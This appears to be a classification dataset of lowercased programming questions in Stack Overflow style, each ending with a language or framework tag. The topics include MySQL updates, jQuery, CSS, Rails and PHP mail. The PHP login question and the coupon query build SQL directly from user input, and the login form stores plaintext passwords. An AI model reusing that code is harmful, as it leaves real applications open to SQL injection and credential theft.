find matches from 2 tables  change other field   i have a database with two separate tables. one table (t1) has 400+ values in its only column  while the other (t2) has 14 000+ rows and multiple columns.    what i need to do is to compare the column in t1 to one column in t2. for every matching value  i need to update a different value in the same row in t2.    i know this is pretty easy and straight-forward  but i m new to mysql and trying to get this down before i go back to other things. thanks a ton in advance!    edit: here s what i ve been trying to no avail..   <pre><code>update `apollo`.`source`  `apollo`.`bottom` set `source`.`captureinterval` =  12  where `bottom`.`url` like `source`.`sourceid` </code></pre>   edit 2:    a little clarification:    apollo.bottom and apollo.source are the two tables.    apollo.bottom is the table with one column and 400 records in that column.    i want to compare bottom.url to source.sourceid.  if they match  i want to update source.captureinterval to 12.,mysql
how to disable button with jquery   i ve tried everything!    <pre><code>$( #m-button ).button( disabled ) $( #m-button ).attr( disabled    disabled ) $( #m-button ).prop( disabled    disabled ) $( #m-button ).attr( disabled    true ) $( #m-button ).prop( disabled    true ) $( #m-button ).attr( enabled    false )  &lt;button id= m-button  class= btn  type= button  &gt;add note&lt;/button&gt; </code></pre>   it stays enabled though.  what s the proper way to disable a <code>&lt;button&gt;</code>,jquery
handle unknown number of undefined objects for logging  trying to reproduce something that in c# you would do something like this:    <pre><code> string formatstring(params object[] args) {       return string.format(cultureinfo.invariantculture  args);  } </code></pre>   and in obj-c it would look like this:   <pre><code>#include &lt;stdarg.h&gt;  void logobjects(id firstobject  ...) {     va_list args;     va_start(args  firstobject);     id obj;     for (obj = firstobject; obj != nil; obj = va_arg(args  id))         nslog(@ %@   obj);     va_end(args); }  logobjects(@ foo   [nsnumber numberwithint:4]  @ bar   nil); </code></pre>   i m familiar with variable parameter length but not too sure how to store the args and then send them to std::cout. is this even possible      notice! i want to send any kind of object which can handle the &lt;&lt; operator. just look at this function as a substitute for:   <pre><code>std::cout &lt;&lt;  test  &lt;&lt; someobject &lt;&lt; int &lt;&lt; someotherobject;  </code></pre>   i am using boost and would like to keep it platform independent. this function will be part of a logging class in a shared lib.,c++
remove html entities  i am developing an application for iphone.i need to remove html entities like [ &lt;p&gt; ] in a parsed xml response.is there any direct way to remove all such entities.,iphone
hide body background when mobile device detected <pre><code>body { background:url(../img/background_leftside.png)  url(../img/background_rightside.png); background-position:left top  right top; background-repeat: repeat-y; background-attachment:fixed; word-wrap: break-word; }     </code></pre>   i want that when my site is accessed from a smartphone or tablet the background to  not be displayed.,css
nsnotification addobserver:someotherclass  i need to pass a message up to a controlling class (which creates an instance of the class which will be sending the message) so  i cannot directly reference the class name in my file  without either making it a global (which is ridiculous to do if  nsnotification  advertises to be able to pass all kinds of messages  regardless of where / what class they are.    so without further ado...   <blockquote>    (calling from say classb)        classa creates instance of classb  </blockquote>   now in <code>classb</code>  i need to pass messages regarding button presses back up to <code>classa</code>   <pre><code>(insdie classb) - (void)viewdidload {   [[nsnotificationcenter defaultcenter] addobserver:classa                                          selector:@selector(dologinaction)                                               name:@ somebutton                                           object:nil];   [super viewdidload]; } </code></pre>   this will not compile  even when i include  sorry  <code> #import  classa.h </code> now if i do something stupid like    <pre><code>classa *classa = [[classa alloc]init]; </code></pre>   and then use this newly created instance of classa in <code>addobserver:classa</code> it will compile  but as i thought  will do absolutely nothing... (i knew that  but surprisingly this kind of code is prevalent in iphone programming books...) so i tried it anyway.    but if i put this function in <code>classa</code> and use <code>addobserver:classb</code> it will get called  but will cause a stack dump <code>unrecognized selector sent to instance</code>  or use <code>addobserver:self</code>.    i am tempted to delete xcode and go back to vim and use a good old  c  callback...,iphone
importing sqlitewrapper gives error  i am trying to import the sqlitewrapper but it gives an error...i am not quite sure why... and also cant import these packages    <pre><code>import android.provider.telephony.sms; import android.provider.telephony.threads; import android.provider.telephony.sms.inbox; import android.provider.telephony.sms.intents; import android.provider.telephony.sms.outbox; import com.google.android.mms.mmsexception; import android.database.sqlite.sqlitewrapper </code></pre>   ; can anyone help i am developing in eclipse on android 2.2 and running code on emulator...,android
how can i get the contents of the two ids using an onclick event <pre><code>&lt;button type= text  value= {{ ursx.id }}  title= {{ ursx.get_username }}  onclick= getcredentials(event)  id= take  class= take &gt;     &lt;div class= user   id= user &gt;      {{ ursx.get_full_name }} </code></pre>   {#        #}                     <pre><code>     console.log(id_1 +     + id_2);  }); </code></pre>   this is the onclick event   <pre><code>$( .take ).click(function(){         var id_1 = $( .take ).val();         var id_2 = $( .user ).val();       console.log(id_1 +     + id_2);  }); </code></pre>,html
what s the difference between geta() and this.geta()   assume that there is a class like the following.   <pre><code>public class someclass {     private a geta() {         ...     }      public void show() {         a a = geta();    // case #1         ...     }      public void show2() {         a a = this.geta();    // case #2         ...     } </code></pre>   their result are same  isn t  my idiot co-worker insisted that s right!!(it means they re different.),java
how to keep object/video tag out of the html untill page has fully loaded   i have made a page full of embed videos from youtube and vimeo. and the load time is horrific! it makes my laptop completely freeze until they have all been properly loaded.    i have seen in another article that the way to do it is to keep the object or video tag out of the html and then add it after page has loaded. i have since been trying to work out how to do this but no luck!     i have also seen on other websites that they have a loading gif behind the tag until the video is fully.    any advice on how to do either of these or another method would be great!    <strong>some embed video code:</strong>   <pre><code>&lt;iframe src= http://player.vimeo.com/video/57564747  width= 500  height= 281  frameborder= 0  webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;/iframe&gt; </code></pre>,html
is there a difference between datatable.clear and datatable.rows.clear   i recall there is a difference between some methods/properties called directly on the <a href= http://msdn.microsoft.com/en-us/library/system.data.datatable(vs.71).aspx  rel= noreferrer >datatable</a> class  and the identically named methods/properties on the <a href= http://msdn.microsoft.com/en-us/library/system.data.datatable.rows(vs.71).aspx  rel= noreferrer >datatable.rows</a> property. (might have been the rowcount/count property for which i read this.) the difference is one of them disregards <a href= http://msdn.microsoft.com/en-us/library/system.data.datarow.rowstate(vs.71).aspx  rel= noreferrer >datarow.rowstate</a>  and the other respects/uses it.    in this particular case i m wondering about the difference between <a href= http://msdn.microsoft.com/en-us/library/system.data.datatable.clear(vs.71).aspx  rel= noreferrer >datatable.clear</a> and <a href= http://msdn.microsoft.com/en-us/library/system.data.datarowcollection.clear(vs.71).aspx  rel= noreferrer >datatable.rows.clear</a>. i can imagine one of them actually removes all rows  and the other one just marks them as deleted.    so my question is  <strong>is there a difference between the two clear methods  and if so what is the difference </strong>    (oh  this is for .net 1.1 btw  in case the semantics changed from one version to another.),.net
how can i mantain a wrapper div height auto  <pre><code>&lt;style&gt; body{  background:#ff9900;  color:#ffffff;  } .wrapper{     width:900px;     height:auto;     padding:0px;     margin:auto;     background:#000000;     } .header{     width:900px;     height:50px;     float:left;     padding:0px;     margin:0px;    } .body_content{     width:900px;     height:200px;     float:left;     padding:0px;     margin:0px;     } .fotter{     width:900px;     height:50px;     float:left;     padding:0px;     margin:0px 0px 25px 0px;     }    &lt;/style&gt;      &lt;div class= wrapper &gt;     &lt;div class= header &gt;header&lt;/div&gt;     &lt;div class= body_content &gt;body content&lt;/div&gt;     &lt;div class= fotter &gt;footer&lt;/div&gt;     &lt;/div&gt; </code></pre>   if i give a wrapper div height: 500px  i can see the background color black. but if i change the to height= auto  i cant see the color.    can some one please help me with this      please see here..<a href= http://202.53.11.62/css.jpg  rel= nofollow >link text</a>,css
authenticate user using uid of uniqueid model   i want to authenticate the user using the  uid . there is a uniqueid model and has column uid and username. there is a signup form for the user and user needs to put a uid which matches the uniqueid s uid.  usercontroller   <pre><code>    def create     @user= user.new(user_params)     uid=uniqueid.find_by(uid: params[:uid])      if @user.uid === uid         if @user.save             session[:user_id]=@user.id             flash[:success]= welcome #{@user.username}               redirect_to user_path(@user)         else             render  new          end     end  end </code></pre>   uniqueid controller   <pre><code>    def create      @uniqueid=uniqueid.new(user_params)      if @uniqueid.save         flash[:success]= done          redirect_to signup_path     else         render  new      end  end </code></pre>,ruby-on-rails
arithmetic in sql query  i ve got a dynamic number of rows i m pulling that i want to do some math on. here s the story:    <strong>table columns:</strong>   <ul> <li>id</li> <li>timestamp</li> <li>user_id</li> <li>coupon_id</li> <li>use_count</li> </ul>   <strong>current query:</strong>   <pre><code> select cu.id  cu.use_count  from coupons_used cu where cu.user_id =   . $_session[ user ]-&gt;id .  ; ; </code></pre>   <strong>the rules:</strong>    the <code>use_count</code> input can only ever be <code>1</code> or <code>-1</code>.     <strong>desired result:</strong>    i know i ll pull in rows that have the same <code>coupon_id</code> so what i m hoping to do is accomplish all the adding / subtracting with mysql so i ll have one row for each unique <code>coupon_id</code> with a grand total for each row s <code>use_count</code>. i m doing this 1) to save a step and 2) to learn something i don t know yet.    <strong>current output:</strong>   <pre><code>id:1  timestamp:5/6/15  user_id:1  coupon_id:1  use_count:1 id:2  timestamp:5/7/15  user_id:1  coupon_id:1  use_count:-1 id:3  timestamp:5/7/15  user_id:1  coupon_id:1  use_count:1 id:4  timestamp:5/8/15  user_id:1  coupon_id:1  use_count:1 </code></pre>   <strong>desired output</strong>    <code>id:null  timestamp:null  user_id:1  coupon_id:1  use_count:2 // 1 + -1 + 1</code>,sql
in objective-c  what does a comma do when used as a statement separator   i am looking though some source code from a third party and am repeatedly seeing a syntax that is new to me. basically they are separating statements with commas instead of semicolons. it compiles and works  but i don t understand what it is doing. it looks like so   <pre><code>if(url)[url release]  url = nil; </code></pre>   and they also use it without the if sometimes   <pre><code>[url release]  url = nil; </code></pre>   what s going on here,objective-c
c# tolist() and tostring()  i m debugging a query with <code>.singleordefault()</code> that s throwing an exception  subquery is returning more than one element.    <pre><code>somevalue = (from...              where ....              select ...).singleordefault() </code></pre>   i want to see for which value it s generating this bug so i changed it to this:   <pre><code>somevalue = ((from...               where ....               select ...).tolist()).tostring() </code></pre>   the problem is that it s not returning a string of the list but it s returning <code> system.collections.generic.list1[system.string] </code>    how do i get the list to a string of elements separate by commas     thanks.,c#
xcode 4.3.2: guide document to deploy iphone to real device  i am trying to deploy an iphone application with ad hoc distribution or apple store. i tried to search on internet to find guide document  but i only get iphone_developer_program_user_guide__standart_program_v2.6__final_3410.pdf for ios 3.1. so old with me because my xcode version is 4.3.2. does anyone know the guide document for that     thanks!,iphone
how to make a christmas tree using loop in c program  i m a freshmen student and we have an activity in intro pro.. we were tasked to create a christmas tree using a loop...     i have my code here:   <pre><code>#include&lt;stdio.h&gt; int main () {     int rows a b space;     clrscr();     printf( enter a number of rows: );     scanf( %d  &amp;rows);     space=rows-1     for(b=space;b&gt;=1;b--)     {         for(a=rows;a&gt;=1;a--)             space--;         printf(  );         for(a=2*(rows-b)-1;a&gt;=1;a--)             printf( *  a);         printf( \n );         space = space-1;     }     getche();     return 0; } </code></pre>   this code was given to us by our professor... the program runs  but the output is wrong. can you help me     when i run this program  the output was like this:   <pre><code>* *** ***** ****** ******* </code></pre>,c
how do i migrate a populated mysql database from dev to a shared host   the title pretty much says it all  but to elaborate: if i build a mysql database on my local dev machine  populate it with data  and subsequently want to migrate the database to a shared host (in this case  siteground ) how do i do so in a way that keeps structure and data intact     in this case  i don t have file access to the database server.,mysql
why rails doesn t want you to create rails projects within existing rails project  i want to create another project inside exisiting rails app. my reasoning is that:   <ul> <li>they have some common models which i would be able to link to from the inner app </li> <li>they operate on the same database</li> <li>they will have one version control system (no additional configuration and moving required)</li> </ul>   apart from why i want to do that i just want to know <strong>why rails prevents you from doing that </strong> as of my testing  no conflicts were exposed.,ruby-on-rails
xcode  _objc_class_$_name   referenced in .... error  4 days and cant figure out  i am new to programming  but have worked very hard to try and figure out why i am getting the above error.  i have read and tried everything i have found online  the program is from head first iphone development book chapter 7 (their forum does not address this error and few questions on that forum every get answered).      i have tried and or confirmed:   <ul> <li> target is checked in the app target (by this i mean the main app name is the only one that shows and it is checked as target) </li> <li> i have tried changing versions of the simulator and sdk </li> <li> i have added #import of the class it is looking for (my code is exactly as the books) </li> </ul>   my gut is telling me it is something in the ib  but no posts suggest that could be the problem (maybe something wired wrong )    any help would be greatly appreciated!!   <hr>   update:    the coredata framework is there - not missing that.  thank you though  any other thoughts     sorry for posting in  answers   only option available (wrote and posted question prior to creating an account - sorry for being a laaaamo)    here is the full error:   <pre><code>ld build/debug-iphonesimulator/ibountyhunter.app/ibountyhunter normal i386 cd /users/home/desktop/ibountyhunter setenv macosx_deployment_target 10.5 setenv path  /developer/platforms/iphonesimulator.platform/developer/usr/bin:/developer/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin  /developer/platforms/iphonesimulator.platform/developer/usr/bin/gcc-4.2 -arch i386 -isysroot /developer/platforms/iphonesimulator.platform/developer/sdks/iphonesimulator3.2.sdk -l/users/home/desktop/ibountyhunter/build/debug-iphonesimulator -f/users/home/desktop/ibountyhunter/build/debug-iphonesimulator -filelist /users/home/desktop/ibountyhunter/build/ibountyhunter.build/debug-iphonesimulator/ibountyhunter.build/objects-normal/i386/ibountyhunter.linkfilelist -mmacosx-version-min=10.5 -xlinker -objc_abi_version -xlinker 2 -framework foundation -framework uikit -framework coregraphics -framework coredata -o /users/home/desktop/ibountyhunter/build/debug-iphonesimulator/ibountyhunter.app/ibountyhunter  undefined symbols:    _objc_class_$_fugitivedetailviewcontroller   referenced from:       objc-class-ref-to-fugitivedetailviewcontroller in fugitivelistviewcontroller.o ld: symbol(s) not found collect2: ld returned 1 exit status </code></pre>   thoughts   and thank you so much for the help!,objective-c
how can i define a set of key/values in javascript and both lookup values and iterate the set in order   i have a set of key/values eg orange=123  banana=4  apple=567.  how can i store these key/values in a javascript object such that i can:   <ol> <li>retrieve a value via lookup eg set[ orange ] should return 123 and </li> <li>iterate over the set <strong><em>in the order in which the key/value pairs were added</em></strong>.</li> </ol>   it seems that for 1. an object literal would be suitable but the iteration order is not guaranteed and that for 2. an array of key/value pairs (object literals) would provide an iteration order but not the ability to lookup the value based on a key.    @* thanks for all the answers - is this problem not a common one   do libraries like jquery not include support for this kind of type,javascript
input dataset values into an html file   i have a very basic html file (a promotional email) that i m trying to manipulate to pull in values from a dataset i ve got saved locally. basically i m looking to input the # of clicks on each link from the email deployment into the html to create a visual representation of how many times each link was clicked. a  click map  if you will.    the a tags in the html file have unique names  which corresponds to how the data is saved. for example:   <pre><code>&lt;a href= http://www.google.com  name= google_com &gt; &lt;a href= http://www.apple.com  name= apple_com &gt; &lt;a href= http://www.stackoverflow.com  name= stackoverflow_com &gt; </code></pre>   here s what the corresponding <a href= http://i.stack.imgur.com/lpcr8.png  rel= nofollow >dataset</a> looks like.    any thoughts on how i can tie back the data to the link names in the html to visually display the number clicks  my programming skillset is limited to html  so if i need to look into a more advanced tactic  i m just curious where to start.    any help would be much appreciated.,html
limiting the mysql relational table  i have the following tables:    <strong>table: words</strong> - more than 200  000 rows   <pre><code>id word 1  a 2  b 3  c 4  d and so on. </code></pre>   <strong>table: pos</strong>   <pre><code>id part 1  noun 2  verb 3  adjective 4  adverb and so on. </code></pre>   <strong>definitions</strong> - more than 500 000 rows   <pre><code>id wordid posid definition 1  1      1     the first letter of the roman alphabet. 2  1      1     blood group  a . 3  1      1     the abbreviation of ace. 4  2      1     the second letter of the roman alphabet. 5  2      1     the definitions of b go on. </code></pre>   i want the fastest query to limit the words but not the definitions. you help will be much appreciated.     i have tried:    <pre><code>select word  part  definition  from words  pos  definitions where words.id = wordid and pos.id = posid order by word limit 2 </code></pre>,mysql
running curl twice in php  i m trying to send email via php mail function like below but it doesn t seem to work on ie. it works on all other browsers. below is the code. is there a reason why      <pre><code>$sent1 = mail($to  $subject  $message  $headers); $sent2 = mail($clientto  $clientsubject  $clientmessage  $clientheaders); if ($sent1 &amp;&amp; $sent2){                     $ch = curl_init( https://www.salesforce.com/servlet/servlet.webtolead encoding=utf-8 );                     curl_setopt($ch  curlopt_post  1);                     curl_setopt($ch  curlopt_postfields   oid=$sf_oid&amp;first_name=$sf_first_name&amp;last_name=$sf_last_name&amp;company=$sf_company&amp;phone=$sf_phone&amp;email=$sf_email&amp;url=$sf_website&amp;description=$sf_description&amp;lead_source=$sf_leadsource );                     curl_setopt($ch  curlopt_followlocation  1);                     curl_exec($ch);                     $info = curl_getinfo($ch);                     if($_server[ remote_addr ] ==  124.254.75.167 )                         //print_r($info);                     curl_close($ch);                      $ch = curl_init( http://www.rankreport.com.au/ajax/add_new_lead );                     curl_setopt($ch  curlopt_post  1);                     curl_setopt($ch  curlopt_postfields   lead_company_id=1&amp;lead_business=1234&amp;lead_first_name=asdf&amp;lead_website=12314.com&amp;lead_phone=1234&amp;lead_email=test@test.com&amp;lead_package=seo );                     curl_setopt($ch  curlopt_followlocation  1);                     curl_exec($ch);                     curl_close($ch);                      echo  3 ;                 } </code></pre>,php
how to position two image as a background image on div by css  here is my css by which i position one image on at center.   <pre><code> .busystyles  {       background-image: url( ../images/busy.gif );       background-repeat: no-repeat;       background-position: center center;       height: 350px;       width: 300px;  } </code></pre>   can i enhance the above css as a result i can place another image at center on the div just below the busy.gif......is it possible  if yes then please give me the css by which i can position two image as background for div at center one after one. thanks,css
what exactly does getchar() do in this code.. [c]  i m having trouble understanding exactly what getchar() does in this code  can anybody help explain it    <pre><code>int main(void) {   int i  n;    printf( this program prints a table of squares.\n );   printf( enter number of entries in table:  );   scanf( %d   &amp;n);   getchar();     for (i = 1; i &lt;= n; i++) {     printf( %10d%10d\n   i  i * i);     if (i % 24 == 0) {       printf( press enter to continue... );       getchar();        }   }    return 0; } </code></pre>,c
convert dojo function in jquery  i have to convert below dojo in jquery. this function works fine form my html code but i need this to be converted in jquery as per the requirement. is there any easy way for this..    <pre><code>&lt;script type= text/javascript &gt;          dojo.require( dojo.parser );         dojo.require( dijit.form.filteringselect );         dojo.require( dojox.data.queryreadstore );          dojo.ready(function () {             dojo.declare(                      filterselectreadstore                       dojox.data.queryreadstore                      {                         fetch: function (request) {                              request.serverquery = { method:  search   q: request.query.searchterm  db:  brimbank  };                             // call superclasses  fetch                             return this.inherited( fetch   arguments);                         }                     }                 );              //parse the html elements for dojo             dojo.parser.parse();         });     &lt;/script&gt; </code></pre>,.net
auto scale y axis in real time graph  i am trying plot a real time graph with x axis raging from 0 to -40 and y axis ranging rom 0 to 200000000. how can i auto scale this graph in c,c
int32u and int8u in objective c  i am getting errors withis below declaration.when declared int32u i m getting  errors.    though <strong>int32u</strong> and int are 4 bytes.how will i declare the equivalent of int8u.i cant use int  here as its <strong>int8u</strong> is 2 bytes.   <pre><code>int32u_c uucode(int8u_c* pdst const int8u_c* psrc int32u_c nsrclen); </code></pre>   error:<strong>expected  =      ;   asm  or  <em>attribute</em>  before uucode.</strong>,objective-c
sql query where clause slows down query  i use to write query like this:   <pre><code>  select *   from mytable    where col1 = @param1 or @param1 is null </code></pre>   the above use to execute find and a decent speed. but now it takes 17 secs.    if i remove the    <pre><code> or @param1 is null </code></pre>   it executes less than 1 sec.   <pre><code>  select *   from mytable    where col1 = @param1   executes less that 1 sec </code></pre>   any idea why the or @param1 is null would add 16 sec to the execution     i ve been using this style of query for many years and haven t noticed any performance hit.    the query basically is saying give my all records if @param1 is null otherwise give me only the records that matach @param1,sql
i want the column headings in an html table to be printed vertically  i want this table   <pre><code>id     name       country --     -------    -------  1       john        america 2       smith        mexico 3       khan        india  </code></pre>   to be printed like this   <pre><code>id            1             2           3 name        john          smith       khan country     america       mexico      india </code></pre>   in html.   <pre><code>&lt;table&gt; &lt;tr&gt; &lt;th&gt;id&lt;/th&gt; &lt;th&gt;name&lt;/th&gt; &lt;th&gt;country&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;1&lt;/td&gt; &lt;td&gt;john&lt;/td&gt; &lt;td&gt;america&lt;/td&gt; &lt;/tr&gt; </code></pre>   how should i modify the above code to get that output,html
php mail cannot be sent with smtp.gmail.com <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/36079/php-mail-using-gmail >php mail using gmail</a>    </blockquote>     code :   <pre><code>&lt;      //change this to your email.     $to =  bhavesh412@gmail.com ;     $from =  bhavesh412@gmail.com ;     $subject =  hello! this is html email ;      //begin of html message     $message = &lt;&lt;&lt;eof &lt;html&gt;   &lt;body bgcolor= #dceefc &gt;     &lt;center&gt;         &lt;b&gt;looool!!! i am reciving html email......&lt;/b&gt; &lt;br&gt;         &lt;font color= red &gt;thanks mohammed!&lt;/font&gt; &lt;br&gt;         &lt;a href= http://www.maaking.com/ &gt;* maaking.com&lt;/a&gt;     &lt;/center&gt;       &lt;br&gt;&lt;br&gt;*** now you can send html email &lt;br&gt; regards&lt;br&gt;mohammed ahmed - palestine   &lt;/body&gt; &lt;/html&gt; eof;    //end of message     $headers  =  from: $from\r\n ;     $headers .=  content-type: text/html\r\n ;      //options to send to cc+bcc     //$headers .=  cc: [email]maa@p-i-s.cxom[/email] ;     //$headers .=  bcc: [email]email@maaking.cxom[/email] ;      // now lets send the email.     ini_set( smtp   smtp.gmail.com );     ini_set( smtp_port   465 );     mail($to  $subject  $message  $headers);      echo  message has been sent....! ;  &gt; </code></pre>   i am getting below error:   <blockquote>   <blockquote>      warning: mail() [function.mail]: failed to connect to mailserver at  smtp.gmail.com  port 465  verify your  smtp  and  smtp_port  setting in php.ini or use ini_set() in c:\xampp\htdocs\testmail.php on line 31            fatal error: maximum execution time of 30 seconds exceeded in c:\xampp\htdocs\testmail.php on line 33    </blockquote> </blockquote>,php
how can i setup a simple email subscription mailing list in rails 4   how can i setup a simple email subscription mailing list feature for a rails 4 app which is basically just a personal  homepage  for a singer     should i be using action mailer  integrating something like mail chimp  set up an email model  something completely different or a combo     the test i m starting with is:   <pre><code>require  spec_helper   feature  join mailing list  do    scenario  can join mailing list  do     visit  /      fill_in  email address   with:  email@gmail.com      click_button  join mailing list      expect(page).to have_content( thanks for joining! )   end  end </code></pre>,ruby-on-rails
how can i tell if legacy asp code is using the webforms  mvc or webpages development model   i am learning some legacy asp.net code. i got <a href= http://www.w3schools.com/aspnet/default.asp  rel= nofollow >on w3 schools to get started</a> and learned that there are 3 different development models. i m brand new to asp.net (but have lots of experience with winforms). how can i tell which model the code is using,asp.net
returning more than one char * from a method  i want to return more than one char* from a method:   <pre><code>char** test1() {   char **ret = malloc(sizeof(char*) * 3);   *ret =  aaa ;   *(ret + 1) =  bbb ;   //  *(ret + 2) =  \0 ; //needed    return ret; } </code></pre>   do i need <code>*(ret + 2) =  \0 ;</code> or should it be <code>*(ret + 2) = null;</code>,c
how to detect if user has open more than one window or tab on the same session   i would like to detect if user has open more than one window or tab on the same session and if he did it - i would like to print an special information on screen.    this limte should oblige only in one special url  so if user has open two tabs/windows with urls: <a href= http://page.com/limite.htm >http://page.com/limite.htm</a> - i would like to print special information. when user has open two windows/tabs with urls: <a href= http://page.com/limite.htm >http://page.com/limite.htm</a> and <a href= http://page.com/index.htm >http://page.com/index.htm</a> - everything is ok and i wouldn t show any informations.    is it possible  thanks.,javascript
what causes this dependency error in rails 3   i now get the following:   <pre><code>`dependencies.rb:239:in `require : no such file to load -- require_relative (loaderror`) </code></pre>   but i don t have enough information to figure out what is causing it or how to debug it.    what can i do,ruby-on-rails
rails associations  i can t seem to wrap my mind around rails associations. let s say i have 3 tables. one for users  one for recipes  and one for ingredients. here s an example of the database (in yaml):   <pre><code>users:   id: 1   email: funnyusername   password: pass1234  recipes:   id: 1591   user_id: 1   name: pizza dough  ingredients:   id: 1   name: flour    id: 2   name: water    id: 3   name: yeast </code></pre>   now how would i make it so that a user can have many recipes  and a recipe can have many ingredients. and also be able to find all the recipes each ingredient is attached to     for instance  funnyusername created the recipe  pizza dough  which has the ingredients flour  water  and yeast. now when i search for yeast  i would want it to come up with a list of recipes containing yeast.,ruby-on-rails
initial zoom depending on device resolution  i would like to adjust initial zoom level for mobile devices(or certain resolutions) so that the content doesn t expand beyond the view space. is there an easier way than using media queries  thanks,css
using eval to check for a particular date value  i am trying to set a label in a gridview not to show a particular date if it is returned (it is because it is a default date and is not needed).     the code i have used is   <pre><code>&lt;%#  convert.tostring(eval( datetaken )).equals( 01/01/1899 )      : eval( datetaken ) %&gt; </code></pre>   unfortunately  when i try and compile it the code won t run. i have tried to find an answer by research  but have not been able to do so.,asp.net
get distance for tuio object from camera  i work with <a href= http://www.tuio.org/ software  rel= nofollow >tuio</a> marker detection to make some motions using symbols  here is my question i want to get the distance between the camera and tuio object.<br>    i can work with the object position x y z but function <code>o.getdistance();</code> get the distance only between the two float point passed to it. <br> how i can get the distance between the object and detection camera   <br> should i implement my own method   if answer yes how to make it   <br> can anyone give me bit of code or link,c#
mysql- control flow functions  been working on this for a couple of hours now and i wonder if there is a recommended solution for this in sql or if i am better off putting this in my application logic instead of the database. i d prefer the former.   <pre><code>create table `rate_info` ( `id` int(11) not null auto_increment  `city` varchar(100) default null  `rate_type` varchar(45) default null  `rate` int(11) default null  `vendor` varchar(45) default null  `product` varchar(45) default null  `days_to_pickup` int(11) default null  `timestamp` timestamp null default current_timestamp  `state` varchar(45) default null  `country` varchar(45) default null   primary key (`id`)  ) engine=innodb auto_increment=787 default charset=latin1$$ </code></pre>   i need come up with the best estimate for average rate of each product and vendor combination  given a city  state &amp; country. each vendor can have a different number of products. also  the number of  vendors in each city can be different. the logic needs to be     <ol> <li>return data for records matching city  state and country  if a match is found.</li> <li>if a match is not found  try to find results based on state &amp; country.</li> <li>if that doesn t return anything either  find results based on country only</li> <li>last resort  use all records to come up with the average rate of each product  vendor combination</li> <li>there is additional logic for other columns  but they all follow the same pattern as location. </li> </ol>   the first query will be something like   <pre><code>select avg(rate) rate  vendor  product from rate_info where city =  boston  and state =  ma  and country =  united states  and rate_type =  regular  and days_to_pickup &gt;= 4 group by vendor  product  </code></pre>   i have been playing around with coalesce  case  ifnull  but can t get the queries to work. i can do it in the application layer  but i d have to make multiple calls to the database as there is high likelihood that the first case will not be met.     the ideal solution would be something like   <pre><code>coalesce(select_city_state_cntr  select_state_cntry  select_cntry); </code></pre>   let me know if something is missing and i ll add more details as required.     thank you,mysql
login form not working  i recently upgraded my version of php and my login form is no longer working.   if i put the correct input.. it does not redirect and instead shows a blank page. i m still learning and any help would be greatly appreciated.     <pre><code>&lt;  session_start(); if(!empty($_session[uname])) {     header( location:homepage.php );     exit(); } require_once  conn.php ; if(isset($s1)) {     if(!empty($uname1) &amp;&amp; !empty($upass1))     {         $sql =  select * from members_info where uname =  $uname1  and upass =  $upass1  ;         $result = mysql_query($sql);         if(mysql_num_rows($result) ==  1 )         {             $a = mysql_fetch_array($result);             $_session[uname] = $uname1;             header( location:homepage.php );             exit();         }          else          {             $login_error =  the username and password you entered was invalid. ;         }     } } include_once  main3.php ;  &gt; </code></pre>,php
flip a div onclick  i m using the <a href= http://lab.smashup.it/flip/  rel= nofollow >flip!</a> plugin to flip a div on click and revert the flip when a user clicks the div again. the code below makes the div flip but does not flip it back when you click it again.    javascript   <pre><code>$(function(){ $( #flipbox ).bind( click  function(){     $( #flipbox ).flip({         direction: rl           content: this is my new content           onend: function(){             $( #flipbox ).bind( click  function(){                 $( #flipbox ).revertflip();              });         }     })     return false; }); </code></pre>   });    html   <pre><code>&lt;div id= flipbox &gt;     hello! i m a flip-box! :) &lt;/div&gt; </code></pre>   appreciate any help.,jquery
redirect without notification in html  in html is there a way to redirect to a different web page without there being a notification  i really need this for a website so that people cannot access work in progress pages and are redirected to the home page. but everything i have tried is an optional redirection.,html
asp.net website  i m exposing functionality externally how can i limit duplicate code   some of my clients are off of our internal network and i m going to be exposing a few reports to the internet. this means that i ll have 2 separate sites one with admin functions and reports on our intranet and one with just reports exposed to the internet.     the pages that i ll be duplicating are fairly simple. asp chart controls with a few other fields for choosing time span  size of report  relevant filters etc.    what are some ways to reduce the amount of duplicate code in 2 nearly identical asp .net websites     compiling usercontrols into libraries  css files in a resource file  put app_code somewhere else  how would i do any of these if they are possible     my websites will be on completely different web servers and will be sharing the same sql server 2005 db.,asp.net
mfmailcomposeviewcontroller crash because of large attachment  i m using mfmailcomposeviewcontroller to send email.<br /> but it crashed when sending large attachments  because of low-memory.<br /> does  mail  allocate memory for attachments <br /> and how should i do to    <pre><code>&gt; dec  3 11:57:36 unknown kernel[0] &lt;debug&gt;: launchd[1507] builtin profile: container (sandbox) dec  3 11:57:36 unknown kernel[0] &lt;debug&gt;: launchd[1507] container: /private/var/mobile/applications/776d8bb7-805e-46b1-b208-df2cfe46ab3a [69] (sandbox)  &gt; &gt;  dec  3 11:57:48 unknown mobilemail[1483] &lt;warning&gt;: received memory warning. dec  3 11:57:49 unknown com.apple.launchd[1] &lt;notice&gt;: (uikitapplication:com.apple.mobilemail[0x26be]) exited: killed: 9 dec  3 11:57:49 unknown com.apple.launchd[1] &lt;notice&gt;: (uikitapplication:com.yourcompany.testapp[0xc7ed]) exited: killed: 9 dec  3 11:57:49 unknown usereventagent[12] &lt;notice&gt;: jetsam: kernel termination snapshot being created dec  3 11:57:49 unknown springboard[1186] &lt;warning&gt;: application  testapp  exited abnormally with signal 9: killed: 9 &gt; dec  3 11:57:50 unknown springboard[1186] &lt;warning&gt;: application  mail  exited abnormally with signal 9: killed: 9 dec  3 11:57:50 unknown springboard[1186] &lt;warning&gt;: received memory warning. dec  3 11:57:50 unknown reportcrash[1509] &lt;error&gt;: saved crashreport to /library/logs/crashreporter/lowmemory-2012-12-03-115750.plist using uid: 0 gid: 0  synthetic_euid: 0 egid: 0 dec  3 11:57:50 unknown kernel[0] &lt;debug&gt;: launchd[1510] builtin profile: mobilemail (sandbox) </code></pre>,ios
